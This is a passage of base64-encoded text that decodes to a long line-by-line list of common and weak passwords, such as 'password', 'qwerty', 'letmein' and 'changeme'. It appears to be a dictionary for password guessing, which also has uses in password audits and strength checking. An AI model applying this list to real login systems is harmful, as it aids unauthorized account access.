W4NCmdlb3JnZQ0KZ2VydHJ1ZGUNCmdpYnNvbg0KZ2lnYWJ5dGUNCmdpbmdlcg0KZ2xhY2llcg0KZ29kYmxlc3N5b3UNCmdvbGRlbg0KZ29sZmVyDQpnb3JnZW91cw0KZ29yZ2VzDQpnb3NsaW5nDQpnb3Zlcm1lbg0KZ3JhZGVzDQpncmFoYW0NCmdyeXBob24NCmd1YXJkaWFuDQpndWVzc21lDQpndWl0YXINCmd1bXB0aW9uDQpndW50aXMNCmg0eDByMW5nDQpoNHgwcmluZw0KaDR4MW5nDQpoYWNrZWQNCmhhY2tlcg0KaGFsbG93ZWUNCmhhbWxldA0KaGFtc3Rlcg0KaGFuZGVsDQpoYW5kaWx5DQpoYW5kam9iDQpoYXBwZW5pbg0KaGFwcGVuaW5nDQpoYXJkY29yZQ0KaGFyZGRyaXYNCmhhcm1vbnkNCmhhcm9sZA0KaGFydmV5DQpoYXdhaWkNCmhheGluZw0KaGVhZGJhbmcNCmhlYWRvZmZpY2UNCmhlYXRoZW4NCmhlYXRoZXINCmhlYXZlbg0KaGVicmlkZXMNCmhlaW5sZWluDQpoZXJiZXJ0DQpoZXJvaW4NCmhld2xldHQNCmhleGFkZWNpDQpoaWF3YXRoYQ0KaGliZXJuaWENCmhpZGRlbg0KaGlnaGxhbmQNCmhpdGxlcg0KaG9sbHl3b28NCmhvbWVwYWdlDQpob21ldXNlcg0KaG9tZXdvcmsNCmhvb2tlcg0KaG9vdGVycw0KaG9ycmlibGUNCmhvcnJvcg0KaG90ZG9nDQpodW50ZXINCmh1dGNoaW5zDQpoeWRyb2dlbg0KaHlwZXJ0eHQNCmljZWNyZWFtDQppaGF2ZW5vcGFzcw0KaWxsdW1pbmENCmltYnJvZ2xpDQppbWJyb2dsaW8NCmltbW9ydGFsDQppbXBlcmlhbA0KaW5jbHVkZQ0KaW5kaWFuDQppbmRpYW5hDQppbmRpYW5zDQppbmdyZXMNCmluZ3Jlc3MNCmluZ3JpZA0KaW5ub2N1b3UNCmlubm9jdW91cw0KaW5zaWRlDQppbnRlZ2VyDQppbnRlcm5ldA0KSW50ZXJuZXQNCmludHJhbmV0DQppbnZlbnQNCkludml0ZXINCmlyaXNobWFuDQpqYWNraWUNCmphbmljZQ0KamFzbWluDQpqZWFubmUNCmplbm5pZmVyDQpqZXJ1c2FsZQ0KamVzc2ljYQ0KamVzdGVyDQpqZXdlbHJ5DQpqaXhpYW4NCmpvYW5uZQ0Kam9obmRvZQ0Kam9obm55DQpqb3NlcGgNCmpvc2h1YQ0Kam91cm5hbA0KanVkaXRoDQpqdWdnbGUNCmp1bGlldA0KanVwaXRlcg0Ka2FyaW5hDQprYXRhbmENCmthdGhsZWVuDQprYXRocmluZQ0Ka2F0aW5hDQprYXRyaW5hDQprZXJtaXQNCmtlcm5lbA0Ka2VycmllDQprZXlib3JkDQprZXl3b3JkDQpraWRkaWUNCmtpbGxlcg0Ka2lsbHRoZW0NCmtpbWJlcmx5DQpraXJrbGFuZA0Ka2lzc215YXMNCmtpdHRlbg0Ka2xpbmdvbg0Ka25pZ2h0DQprbmlnaHRtYQ0Ka3Jpc3RhDQprcmlzdGVuDQprcmlzdGkNCmtyaXN0aWUNCmtyaXN0aW4NCmtyaXN0aW5lDQprcmlzdHkNCmxhZGllcw0KbGFrZXJzDQpsYW1iZGENCmxhbWluYXRpDQpsYW1pbmF0aW9uDQpsYXB0b3ANCmxhcmtpbg0KbGF6YXJ1cw0KbGViZXNndWUNCmxlZnR3aW5nDQpsZWxhbmQNCmxlc2JpYW4NCmxlc2xpZQ0KbGV0bWVpbg0KbGV4bHV0aGUNCmxpYmVyYWwNCmxpYnJhcnkNCmxpY2tlcg0KbGlnaHRzYWINCmxpbWJhdWdoDQpsaW1pdGVkDQpsaXRlcmF0dQ0KbG9ja291dA0KbG9ja3dvcmQNCmxvZ2lucGFzcw0KbG9naW53b3INCmxvZ291dA0KbG9sb3BjDQpsb3JyYWluZQ0KbG92ZWJ1Zw0KbWFjaGluZQ0KbWFjaW50b3MNCm1hY2ludG9zaA0KbWFnZ290DQptYWduZXQNCm1hbGNvbG0NCm1hbGNvbQ0KbWFuYWdlcg0KbWFyaWVucw0KbWFyaWV0dGENCm1hcmlqdWFuDQptYXJpbmVzDQptYXJrdXMNCm1hcnJpYWdlDQptYXJ2aW4NCm1hc3Rlcg0KTWF0dGhldw0KbWF1cmljZQ0KbWVhZ2FuDQptZWdhYnl0ZQ0KbWVnYWRldGgNCm1lbGlzc2ENCm1lbGxvbg0KbWVscm9zZQ0KbWVtYmVyDQptZW1vcnkNCm1lbmFjZQ0KbWVyY3VyeQ0KbWVybGluDQptZXRhbGhlYQ0KbWV0YWxpY2ENCm1pY2hhZWwNCm1pY2hlbA0KbWljaGVsYW4NCm1pY2hlbGUNCm1pY2hlbGxlDQptaWNrZXkNCm1pY3JvY2hpDQptaWNyb3Bybw0KbWljcm9zb2YNCm1pZGlldmFsDQptaW5pbXVtDQptaW5za3kNCm1pc2ZpdA0KbWlzc2lvbg0KbW9ndWxzDQptb25kYXkNCm1vbmljYQ0KbW9ybGV5DQptb3JyaXMNCm1vcnRhbA0KbW9ydGFsY28NCm1vcnRnYWdlDQptb3NhaWMNCm1vdW50YWluDQptb3ZpZXMNCm1vemFydA0KbXVwcGV0cw0KbXV0YW50DQpteXBhc3MNCm15cGFzczEyMw0KbXlwYzEyMw0KbmFwb2xlb24NCm5lcGVudGhlDQpuZXB0dW5lDQpuZXQtZGV2aWwNCm5ldGJpb3MNCm5ldGRldmlsDQpuZXRmdWNrDQpuZXRzY2FwZQ0KbmV0d29yaw0KbmV3Ym9ybg0KbmV3c2dyb3UNCm5ld3Rvbg0KbmV3eW9yaw0Kbmljb2xlDQpuaWNvdGluZQ0KbmlnaHRtYXINCm5pbnRlbmRvDQpubmFhY3ANCm5vYm9keQ0Kbm9yZWVuDQpub3ZlbWJlcg0Kbm94aW91cw0KbnVjbGVhcg0KbnVtYmVyDQpudXRyaXRpbw0KbnV0cml0aW9uDQpueXF1aXN0DQpvYnNjdXJpdA0Kb2NlYW5vZ3INCm9jZWFub2dyYXBoeQ0Kb2NlbG90DQpvZW1pbnN0YWxsDQpvZW11c2VyDQpvZmZpY2UNCm9sZGFnZQ0Kb2xpdmV0dGkNCm9saXZpYQ0Kb3BlbmluZw0Kb3BlbmxvY2sNCm9wZW5zZXNhDQpvcGVyYXRvcg0Kb3JhY2xlDQpvcmFuZ2UNCm9yaWVudA0Kb3J3ZWxsDQpvc2lyaXMNCm91dGRvb3JzDQpvdXRsYXcNCm91dGxvb2sNCm91dHB1dA0Kb3V0c2lkZQ0Kb3hmb3JkDQpwYWNpZmljDQpwYWNrYXJkDQpwYWNrZXINCnBhaW5sZXNzDQpwYWtpc3Rhbg0KcGFtZWxhDQpwYXBlcnMNCnBhc2NhbA0KcGFzczEyMw0KcGFzczEyMzQNCnBhc3NwaHJhDQpwYXNzd2QNCnBhc3N3b3JkDQpQQVNTV09SRA0KUGFzc3dvcmQNCnBhc3N3b3JkMQ0KcGFzc3dvcmQxMjMNCnBhdHJpY2lhDQpwYXRyaWNrDQpwYXRyaW90DQpwZWFudXRzDQpwZWNrZXINCnBlbmNpbA0KcGVuZWxvcGUNCnBlbmd1aW4NCnBlbm5hbWUNCnBlbnRhZ29uDQpwZW50YWdyYQ0KcGVudGhvdXMNCnBlbnRpdW0NCnBlb3JpYQ0KcGVwcGVyDQpwZXJjb2xhdA0KcGVyY29sYXRlDQpwZXJmZWN0DQpwZXJtaXQNCnBlcnNpbW1vDQpwZXJzaW1tb24NCnBlcnNvbmENCnBlcnZlcnQNCnBoaWxpcA0KcGhvZW5peA0KcGhvdG9uDQpwaHJhY2sNCnBocmFzZQ0KcGhyZWFrDQpwaWVycmUNCnBpbm5hbWUNCnBsYXlib3kNCnBsb3Zlcg0KcGx5bW91dGgNCnBvZXRyeQ0KcG9saWNlDQpwb2x5bm9taQ0KcG9seW5vbWlhbA0KcG9uZGVyaW4NCnBvbmRlcmluZw0KcG9yc2NoZQ0KcG9zdGVyDQpwcmFpc2UNCnByZWNpb3VzDQpwcmVsdWRlDQpwcmVzdG8NCnByaW5jZQ0KcHJpbmNldG8NCnByaW5jZXRvbg0KcHJpbnRlcg0KcHJpdmF0ZQ0KcHJvY2VlZA0KcHJvY2Vzc28NCnByb2Zlc3NvDQpwcm9mZXNzb3INCnByb2ZpbGUNCnByb2dyYW0NCnByb21wdA0KcHJvdGVjdA0KcHJvdG96b2ENCnBzeWNobw0KcHN5Y2hvcGENCnB1YmxpYw0KcHVtcGtpbg0KcHVuZWV0DQpwdW5pc2hlcg0KcHVwcGV0DQpxdWViZWMNCnF3ZXJ0eQ0KcmFiYml0DQpyYWNoZWwNCnJhY2hlbGxlDQpyYWNobWFuaQ0KcmFjaG1hbmlub2ZmDQpyYWluYm93DQpyYWluZHJvcA0KcmFsZWlnaA0KcmFuZG9tDQpyYXNjYWwNCnJlYWdhbg0KcmVhbGl0eQ0KcmVhbGx5DQpyZWFwZXINCnJlYmVjY2ENCnJlY29yZA0KcmVkZGF3bg0KcmVkaGVhZA0KcmVmZXJlbmMNCnJlZ2lvbmFsDQpyZWxlYXNlDQpyZW1vdGUNCnJlcG9ydA0KcmVwdWJsaWMNCnJlc2lzdGFuDQpyZXZlYWwNCnJpZmZyYWZmDQpyaWdodHdpbg0KcmlwcGxlDQpyb2JlcnQNCnJvYm90aWNzDQpyb2NoZWxsZQ0Kcm9jaGVzdGUNCnJvY2hlc3Rlcg0Kcm9ja3lob3INCnJvZGVudA0Kcm9tYW5vDQpyb211bGFuDQpyb25hbGQNCnJvb3RlZA0KUm9zY29QDQpSb3Njb1BDb2x0cmFuZQ0Kcm9zZWJ1ZA0Kcm9zZW1hcnkNCnJ1YmJlcg0KcnVubmluZw0Kc2FsYW1pDQpzYW1hbnRoYQ0Kc2FtcGxlDQpzYW5kcmENCnNhdGFuaWMNCnNhdGFuaWsNCnNhdHVyZGF5DQpzYXR1cm4NCnNjYW1wZXINCnNjaGVtZQ0Kc2Nob29sDQpzY2hvb2xzdWNrcw0Kc2NvcnBpb24NCnNjb3R0eQ0Kc2NyaXB0DQpzY3JpcHRraWRkaWUNCnNlYXJjaA0Kc2VjcmV0DQpzZWN1cml0eQ0Kc2Vuc29yDQpzZW50aW5lbA0Kc2VudHJ5DQpzZXJlbml0eQ0Kc2VyaWFsDQpTRVJWRVINCnNlcnZlcg0Kc2VydmljZQ0Kc2VzYW1lDQpzaGFubm9uDQpzaGFya3MNCnNoYXJvbg0Kc2hlZmZpZWwNCnNoZWZmaWVsZA0Kc2hlbGRvbg0Kc2hlcnJpDQpzaGlybGV5DQpzaGl0cG90DQpzaGl2ZXJzDQpzaHV0dGxlDQpzaWVtZW5zDQpzaWVycmENCnNpZ25hdHVyDQpzaWduYXR1cmUNCnNpbHZlcg0Kc2ltY2l0eQ0Kc2ltcGxlDQpzaW1wc29ucw0Kc2ltdWxhdGkNCnNpbmdlcg0Kc2luZ2xlDQpzbGlkZXJzDQpzbWlsZXMNCnNtb29jaA0Kc21vdGhlcg0Kc25hdGNoDQpzbm9vcHkNCnNvY2lhbA0Kc29jcmF0ZXMNCnNvZG9teQ0Kc29mdHdhcmUNCnNvbWVib2R5DQpzb25kcmENCnNvc3NpbmENCnNvdXJjZQ0Kc3BhY2VtYW4NCnNwYWNlc2hpDQpzcGFycm93cw0Kc3BlbmNlcg0Kc3BpZGVyDQpzcGlkZXJtYQ0Kc3ByaW5nDQpzcHJpbmdlcg0Kc3FsYWdlbnQNCnNxbHBhc3MNCnNxdWlyZXMNCnN0YWNleQ0Kc3RhY2llDQpTdGFuZGFyZA0Kc3RhcnNoaXANCnN0YXJ0cmVrDQpzdGFydHVwDQpzdGFyd2Fycw0Kc3RlcGhhbmkNCnN0ZXBoYW5pZQ0Kc3RlcmVvDQpzdG9uZWFnZQ0Kc3RvbmVkDQpzdG9uZXMNCnN0cmFuZ2UNCnN0cmFuZ2xlDQpzdHJhdGZvcg0Kc3RyYXRmb3JkDQpzdHJlZXRmaQ0Kc3RyaW5nDQpzdHVkZW50DQpzdHVkZW50MQ0Kc3R1dHRnYXINCnN0dXR0Z2FydA0Kc3Vic2NyaWINCnN1YndheQ0Kc3VjY2Vzcw0Kc3Vja215ZGkNCnN1bW1lcg0Kc3VuZGF5DQpzdXBlcm1hbg0Kc3VwZXJzb24NCnN1cGVyc3RhDQpzdXBlcnN0YWdlDQpzdXBlcnVzZQ0Kc3VwZXJ1c2VyDQpzdXBlcnZpcw0Kc3VwcG9ydA0Kc3VwcG9ydGUNCnN1cHBvcnRlZA0Kc3VyZmVyDQpzdXJmaW5nDQpzdXNhbm5lDQpzdXphbm5lDQpzd2VhcmVyDQpzd2l0Y2gNCnN5YmFzZQ0Kc3ltbWV0cnkNCnN5c2FkbWluDQpTWVNURU0NCnN5c3RlbQ0KdGFiYXNjbw0KdGFtYXJhDQp0YW5nZXJpbg0KdGFuZ2VyaW5lDQp0YXJnZXQNCnRhcnJhZ29uDQp0YXlsb3INCnRlYWNoZXINCnRlYXBvdA0KdGVjaG5pY2FsDQp0ZWVuYWdlDQp0ZWxlcGhvbg0KdGVsZXBob25lDQp0ZWxuZXQNCnRlbXAxMjMNCnRlbXB0YXRpDQp0ZW1wdGF0aW9uDQp0ZW5uaXMNCnRlcm1pbmFsDQp0ZXJtaW5hdA0KdGVzdDEyMw0KdGVzdGVyDQp0ZXN0aW4NCnRlc3RpbmcNCnRldHJpcw0KdGhhaWxhbmQNCnRoZXJlc2ENCnRodXJzZGF5DQp0aWZmYW55DQp0b2dnbGUNCnRva2VucmluDQp0b21hdG8NCnRvcG9ncmFwDQp0b3BvZ3JhcGh5DQp0b3J0b2lzZQ0KdG95b3RhDQp0cmFjaWUNCnRyYWlscw0KdHJhbnNmZXINCnRyYXBkb29yDQp0cmlzaGENCnRyaXZpYWwNCnRyb2phbg0KdHJvbWJvbmUNCnR1ZXNkYXkNCnR1cm5pcA0KdHV0dGxlDQp1bmhhcHB5DQp1bmljb3JuDQp1bmlmb3JtDQp1bml2ZXJzYQ0KdW5pdmVyc2UNCnVuaXZlcnNpDQp1bmtub3duDQpVbmtub3duDQp1bmxvY2sNCnVwbG9hZA0KdXJhbnVzDQp1cmNoaW4NCnVyc3VsYQ0KdXNlbmV0DQp1c2VybWFuZQ0KdXNlcm5hbWUNCnVzZXJwYXNzd29yZA0KdXRpbGl0eQ0KdXdvbnRndWVzc21lDQp2YWdpbmENCnZhbGVyaWUNCnZhbXBpcmUNCnZhc2FudA0KdmVyb25pY2ENCnZlcnRpZ28NCnZpY3Rvcg0KdmlkZW9nYW0NCnZpbGxhZ2UNCnZpcmdpbg0KdmlyZ2luaWENCnZpc2l0b3INCnZpc3VhbA0KdmlzdWFsYmENCndhcmZhcmUNCndhcmdhbWVzDQp3YXJyZW4NCndhdGNod29yDQp3ZWJwYWdlDQp3ZWRuZXNkYQ0Kd2VlbmllDQp3ZXJld29sZg0Kd2VzdGVybg0Kd2hhdGV2ZXINCndoYXRub3QNCndoaXNreQ0Kd2hpdGluZw0Kd2hpdG5leQ0Kd2hvbGVzYWwNCndob2xlc2FsZQ0Kd2lsZWVjb3lvdGUNCndpbGxpYW0NCndpbGxpYW1zDQp3aWxsaWFtc2J1cmcNCndpbGxpZQ0Kd2luMjAwMA0Kd2luZG9zZQ0Kd2luZG93cw0Kd2luZG93czJrDQp3aW5kb3dzOTUNCndpbmRvd3M5OA0Kd2luZG93c01FDQpXaW5kb3dzWFANCndpbmRvd3oNCndpbmRvemUNCndpbmRvemUyaw0Kd2luZG96ZTk1DQp3aW5kb3plOTgNCndpbmRvemVNRQ0Kd2luZG96ZXhwDQp3aW5wYXNzDQp3aW5zdG9uDQp3aXNjb25zaQ0Kd2lzY29uc2luDQp3aXNlYXNzDQp3aXRoaW4NCndpemFyZA0Kd29sdmVyaW4NCndvbWJhdA0Kd29vZHdpbmQNCndvcmRwZXJmDQp3b3Jtd29vZA0Kd3d3YWRtaW4NCnd5b21pbmcNCnhtb2RlbQ0KeHh4eHh4DQp4eHh4eHh4DQp4eHh4eHh4eA0KeHh4eHh4eHh4DQp5YW5rZWUNCnllbGxvdw0KeWVsbG93c3QNCnllbGxvd3N0b25lDQp5b2xhbmRhDQp5b3NlbWl0ZQ0KeW91d29udGd1ZXNzbWUNCnplaXRnZWlzDQp6aW1tZXJtYQ0KemltbWVybWFuDQp6bW9kZW0NCnpvbWJpZQ0KMTIzNDUNCmFiYzEyMw0KcGFzc3dvcmQNCmNvbXB1dGVyDQoxMjM0NTYNCnRpZ2dlcg0KMTIzNA0KYTFiMmMzDQpxd2VydHkNCjEyMw0KeHh4DQptb25leQ0KdGVzdA0KY2FybWVuDQptaWNrZXkNCnNlY3JldA0Kc3VtbWVyDQppbnRlcm5ldA0Kc2VydmljZQ0KY2FuYWRhDQpoZWxsbw0KcmFuZ2VyDQpzaGFkb3cNCmJhc2ViYWxsDQpkb25hbGQNCmhhcmxleQ0KaG9ja2V5DQpsZXRtZWluDQptYWdnaWUNCm1pa2UNCm11c3RhbmcNCnNub29weQ0KYnVzdGVyDQpkcmFnb24NCmpvcmRhbg0KbWljaGFlbA0KbWljaGVsbGUNCm1pbmR5DQpwYXRyaWNrDQoxMjNhYmMNCmFuZHJldw0KYmVhcg0KY2FsdmluDQpjaGFuZ2VtZQ0KZGlhbW9uZA0KZnVja21lDQpmdWNreW91DQptYXR0aGV3DQptaWxsZXINCm91ODEyDQp0aWdlcg0KdHJ1c3RubzENCjEyMzQ1Njc4DQphbGV4DQphcHBsZQ0KYXZhbG9uDQpicmFuZHkNCmNoZWxzZWENCmNvZmZlZQ0KZGF2ZQ0KZmFsY29uDQpmcmVlZG9tDQpnYW5kYWxmDQpnb2xmDQpncmVlbg0KaGVscG1lDQpsaW5kYQ0KbWFnaWMNCm1lcmxpbg0KbW9sc29uDQpuZXd5b3JrDQpzb2NjZXINCnRob21hcw0Kd2l6YXJkDQpNb25kYXkNCmFzZGZnaA0KYmFuZGl0DQpiYXRtYW4NCmJvcmlzDQpidXR0aGVhZA0KZG9yb3RoeQ0KZWV5b3JlDQpmaXNoaW5nDQpmb290YmFsbA0KZ2VvcmdlDQpoYXBweQ0KaWxvdmV5b3UNCmplbm5pZmVyDQpqb25hdGhhbg0KbG92ZQ0KbWFyaW5hDQptYXN0ZXINCm1pc3N5DQptb25kYXkNCm1vbmtleQ0KbmF0YXNoYQ0KbmNjMTcwMQ0KbmV3cGFzcw0KcGFtZWxhDQpwZXBwZXINCnBpZ2xldA0KcG9vaGJlYXINCnBvb2tpZQ0KcmFiYml0DQpyYWNoZWwNCnJvY2tldA0Kcm9zZQ0Kc21pbGUNCnNwYXJreQ0Kc3ByaW5nDQpzdGV2ZW4NCnN1Y2Nlc3MNCnN1bnNoaW5lDQp0aHgxMTM4DQp2aWN0b3JpYQ0Kd2hhdGV2ZXINCnphcGF0YQ0KMQ0KODY3NTMwOQ0KSW50ZXJuZXQNCmFtYW5kYQ0KYW5keQ0KYW5nZWwNCmF1Z3VzdA0KYmFybmV5DQpiaXRlbWUNCmJvb21lcg0KYnJpYW4NCmNhc2V5DQpjb2tlDQpjb3dib3kNCmRlbHRhDQpkb2N0b3INCmZpc2hlcg0KZm9vYmFyDQppc2xhbmQNCmpvaG4NCmpvc2h1YQ0Ka2FyZW4NCm1hcmxleQ0Kb3JhbmdlDQpwbGVhc2UNCnJhc2NhbA0KcmljaGFyZA0Kc2FyYWgNCnNjb290ZXINCnNoYWxvbQ0Kc2lsdmVyDQpza2lwcHkNCnN0YW5sZXkNCnRheWxvcg0Kd2VsY29tZQ0KemVwaHlyDQoxMTExMTENCjE5MjgNCmFhYWFhYQ0KYWJjDQphY2Nlc3MNCmFsYmVydA0KYWxleGFuZGVyDQphbmRyZWENCmFubmENCmFudGhvbnkNCmFzZGZqa2w7DQphc2hsZXkNCmJhc2YNCmJhc2tldGJhbGwNCmJlYXZpcw0KYmxhY2sNCmJvYg0KYm9vYm9vDQpicmFkbGV5DQpicmFuZG9uDQpidWRkeQ0KY2FpdGxpbg0KY2FtYXJvDQpjaGFybGllDQpjaGlja2VuDQpjaHJpcw0KY2luZHkNCmNyaWNrZXQNCmRha290YQ0KZGFsbGFzDQpkYW5pZWwNCmRhdmlkDQpkZWJiaWUNCmRvbHBoaW4NCmVsZXBoYW50DQplbWlseQ0KZmlzaA0KZnJlZA0KZnJpZW5kDQpmdWNrZXINCmdpbmdlcg0KZ29vZGx1Y2sNCmhhbW1lcg0KaGVhdGhlcg0KaGVscA0KaWNlbWFuDQpqYXNvbg0KamVzc2ljYQ0KamVzdXMNCmpvc2VwaA0KanVwaXRlcg0KanVzdGluDQprZXZpbg0Ka25pZ2h0DQpsYWNyb3NzZQ0KbGFrZXJzDQpsaXphcmQNCm1hZGlzb24NCm1hcnkNCm1vdGhlcg0KbXVmZmluDQptdXJwaHkNCm5jYzE3MDFkDQpuZXd1c2VyDQpuaXJ2YW5hDQpub25lDQpwYXJpcw0KcGF0DQpwZW50aXVtDQpwaG9lbml4DQpwaWN0dXJlDQpyYWluYm93DQpzYW5keQ0Kc2F0dXJuDQpzY290dA0Kc2hhbm5vbg0Kc2hpdGhlYWQNCnNrZWV0ZXINCnNvcGhpZQ0Kc3BlY2lhbA0Kc3RlcGhhbmllDQpzdGVwaGVuDQpzdGV2ZQ0Kc3dlZXRpZQ0KdGVhY2hlcg0KdGVubmlzDQp0ZXN0MTIzDQp0b21teQ0KdG9wZ3VuDQp0cmlzdGFuDQp3YWxseQ0Kd2lsbGlhbQ0Kd2lsc29uDQoxcTJ3M2UNCjY1NDMyMQ0KNjY2NjY2DQo3NzcNCmExMjM0NQ0KYTFiMmMzZDQNCmFscGhhDQphbWJlcg0KYW5nZWxhDQphbmdpZQ0KYXJjaGllDQphc2RmDQpibGF6ZXINCmJvbmQwMDcNCmJvb2dlcg0KY2hhcmxlcw0KY2hyaXN0aW4NCmNsYWlyZQ0KY29udHJvbA0KZGFubnkNCmRhdmlkMQ0KZGVubmlzDQpkaWdpdGFsDQpkaXNuZXkNCmRvZw0KZHVjaw0KZHVrZQ0KZWR3YXJkDQplbHZpcw0KZmVsaXgNCmZsaXBwZXINCmZsb3lkDQpmcmFua2xpbg0KZnJvZG8NCmd1ZXN0DQpob25kYQ0KaG9yc2VzDQpodW50ZXINCmluZGlnbw0KaW5mbw0KamFtZXMNCmphc3Blcg0KamVyZW15DQpqb2UNCmp1bGlhbg0Ka2Vsc2V5DQpraWxsZXINCmtpbmdmaXNoDQpsYXVyZW4NCm1hcmllDQptYXJ5amFuZQ0KbWF0cml4DQptYXZlcmljaw0KbWF5ZGF5DQptZXJjdXJ5DQptaWNybw0KbWl0Y2hlbGwNCm1vcmdhbg0KbW91bnRhaW4NCm5pbmVycw0Kbm90aGluZw0Kb2xpdmVyDQpwZWFjZQ0KcGVhbnV0DQpwZWFybGphbQ0KcGhhbnRvbQ0KcG9wY29ybg0KcHJpbmNlc3MNCnBzeWNobw0KcHVtcGtpbg0KcHVycGxlDQpyYW5keQ0KcmViZWNjYQ0KcmVkZG9nDQpyb2JlcnQNCnJvY2t5DQpyb3Nlcw0Kc2FsbW9uDQpzYW0NCnNhbXNvbg0Kc2hhcm9uDQpzaWVycmENCnNtb2tleQ0Kc3RhcnRyZWsNCnN0ZWVsZXJzDQpzdGltcHkNCnN1bmZsb3dlcg0Kc3VwZXJtYW4NCnN1cHBvcnQNCnN5ZG5leQ0KdGVjaG5vDQp0ZWxlY29tDQp0ZXN0MQ0Kd2FsdGVyDQp3aWxsaWUNCndpbGxvdw0Kd2lubmVyDQp6aWdneQ0KenhjdmJubQ0KNzc3Nw0KT1U4MTINCmENCmFic29sdXQNCmFsYXNrYQ0KYWxleGlzDQphbGljZQ0KYW5pbWFsDQphcHBsZXMNCmJhYnlsb241DQpiYWNrdXANCmJhcmJhcmENCmJlbmphbWluDQpiaWxsDQpiaWxseQ0KYmlyZDMzDQpibHVlDQpibHVlYmlyZA0KYm9iYnkNCmJvbm5pZQ0KYnViYmENCmNhbWVyYQ0KY2hvY29sYXRlDQpjbGFyaw0KY2xhdWRpYQ0KY29jYWNvbGENCmNvbXB0b24NCmNvbm5lY3QNCmNvb2tpZQ0KY3J1aXNlDQpkZWxpdmVyDQpkb3VnbGFzDQpkcmVhbWVyDQpkcmVhbXMNCmR1Y2tpZQ0KZWFnbGVzDQplZGRpZQ0KZWluc3RlaW4NCmVudGVyDQpleHBsb3Jlcg0KZmFpdGgNCmZhbWlseQ0KZmVycmFyaQ0KZmlyZQ0KZmxhbWluZ28NCmZsaXANCmZsb3dlcg0KZm94dHJvdA0KZnJhbmNpcw0KZnJlZGR5DQpmcmlkYXkNCmZyb2dneQ0KZ2FsaWxlbw0KZ2lhbnRzDQpnaXptbw0KZ2xvYmFsDQpnb29meQ0KZ29waGVyDQpoYW5zb2xvDQpoYXBweTENCmhlbmRyaXgNCmhlbnJ5DQpoZXJtYW4NCmhvbWVyDQpob25leQ0KaG91c2UNCmhvdXN0b24NCmlndWFuYQ0KaW5kaWFuYQ0KaW5zYW5lDQppbnNpZGUNCmlyaXNoDQppcm9ubWFuDQpqYWtlDQpqYW5lDQpqYXNtaW4NCmplYW5uZQ0KamVycnkNCmppbQ0Kam9leQ0KanVzdGljZQ0Ka2F0aGVyaW5lDQprZXJtaXQNCmtpdHR5DQprb2FsYQ0KbGFycnkNCmxlc2xpZQ0KbG9nYW4NCmx1Y2t5DQptYXJrDQptYXJ0aW4NCm1hdHQNCm1pbm5pZQ0KbWlzdHkNCm1pdGNoDQptb20NCm1vdXNlDQpuYW5jeQ0KbmFzY2FyDQpuZWxzb24NCm5ldHdhcmUNCnBhbnRlcmENCnBhcmtlcg0KcGFzc3dkDQpwZW5ndWluDQpwZXRlcg0KcGhpbA0KcGhpc2gNCnBpYW5vDQpwaXp6YQ0KcG9yc2NoZTkxMQ0KcHJpbmNlDQpwdW5raW4NCnB5cmFtaWQNCnJhaW4NCnJheW1vbmQNCnJlZA0Kcm9iaW4NCnJvZ2VyDQpyb3NlYnVkDQpyb3V0ZTY2DQpyb3lhbA0KcnVubmluZw0Kc2FkaWUNCnNhc2hhDQpzZWN1cml0eQ0Kc2VyZ2VpDQpzaGVlbmENCnNoZWlsYQ0Kc2tpaW5nDQpzbmFwcGxlDQpzbm93YmFsbA0Kc3BhcnJvdw0Kc3BlbmNlcg0Kc3Bpa2UNCnN0YXINCnN0ZWFsdGgNCnN0dWRlbnQNCnN1bg0Kc3VubnkNCnN5bHZpYQ0KdGFtYXJhDQp0YXVydXMNCnRlY2gNCnRlcmVzYQ0KdGhlcmVzYQ0KdGh1bmRlcmJpcmQNCnRpZ2Vycw0KdG9ueQ0KdG95b3RhDQp0cmFpbmluZw0KdHJhdmVsDQp0cnVjaw0KdHVlc2RheQ0KdmljdG9yeQ0KdmlkZW8NCnZpcGVyMQ0Kdm9sdm8NCndlc2xleQ0Kd2hpc2t5DQp3aW5uaWUNCndpbnRlcg0Kd29sdmVzDQp4eXoxMjMNCnpvcnJvDQohQCMkJQ0KMDA3DQoxMjMxMjMNCjEyMzQ1NjcNCjE5NjkNCjU2ODMNCjY5Njk2OQ0KODg4ODg4DQpBbnRob255DQpCb25kMDA3DQpGcmlkYXkNCkhlbmRyaXgNCkpvc2h1YQ0KTWF0dGhldw0KT2N0b2Jlcg0KVGF1cnVzDQpUaWdnZXINCmFhYQ0KYWFyb24NCmFiYnkNCmFiY2RlZg0KYWRpZGFzDQphZHJpYW4NCmFsZXhhbmRyDQphbGZyZWQNCmFydGh1cg0KYXRoZW5hDQphdXN0aW4NCmF3ZXNvbWUNCmJhZGdlcg0KYmFtYm9vDQpiZWFnbGUNCmJlYXJzDQpiZWF0bGVzDQpiZWF1dGlmdWwNCmJlYXZlcg0KYmVubnkNCmJpZ21hYw0KYmluZ28NCmJpdGNoDQpibG9uZGUNCmJvb2dpZQ0KYm9zdG9uDQpicmVuZGENCmJyaWdodA0KYnViYmExDQpidWJibGVzDQpidWZmeQ0KYnV0dG9uDQpidXR0b25zDQpjYWN0dXMNCmNhbmR5DQpjYXB0YWluDQpjYXJsb3MNCmNhcm9saW5lDQpjYXJyaWUNCmNhc3Blcg0KY2F0YWxvZw0KY2F0Y2gyMg0KY2hhbGxlbmdlDQpjaGFuY2UNCmNoYXJpdHkNCmNoYXJsb3R0ZQ0KY2hlZXNlDQpjaGVyeWwNCmNobG9lDQpjaHJpczENCmNsYW5jeQ0KY2xpcHBlcg0KY29sdHJhbmUNCmNvbXBhcQ0KY29ucmFkDQpjb29wZXINCmNvb3Rlcg0KY29wcGVyDQpjb3Ntb3MNCmNvdWdhcg0KY3JhY2tlcg0KY3Jhd2ZvcmQNCmNyeXN0YWwNCmN1cnRpcw0KY3ljbG9uZQ0KY3lyYW5vDQpkYW4NCmRhbmNlDQpkYXduDQpkZWFuDQpkZXV0c2NoDQpkaWFibG8NCmRpbGJlcnQNCmRvbGxhcnMNCmRvb2tpZQ0KZG9vbQ0KZHVtYmFzcw0KZHVuZGVlDQplLW1haWwNCmVsaXphYmV0aA0KZXJpYw0KZXVyb3BlDQpleHBvcnQNCmZhcm1lcg0KZmlyZWJpcmQNCmZsZXRjaGVyDQpmbHVmZnkNCmZvcmQNCmZvdW50YWluDQpmb3gNCmZyYW5jZQ0KZnJlYWsxDQpmcmllbmRzDQpmcm9nDQpmdWNrb2ZmDQpnYWJyaWVsDQpnYWJyaWVsbA0KZ2FsYXh5DQpnYW1iaXQNCmdhcmRlbg0KZ2FyZmllbGQNCmdhcmxpYw0KZ2FybmV0DQpnZW5lc2lzDQpnZW5pdXMNCmdvZHppbGxhDQpnb2Zvcml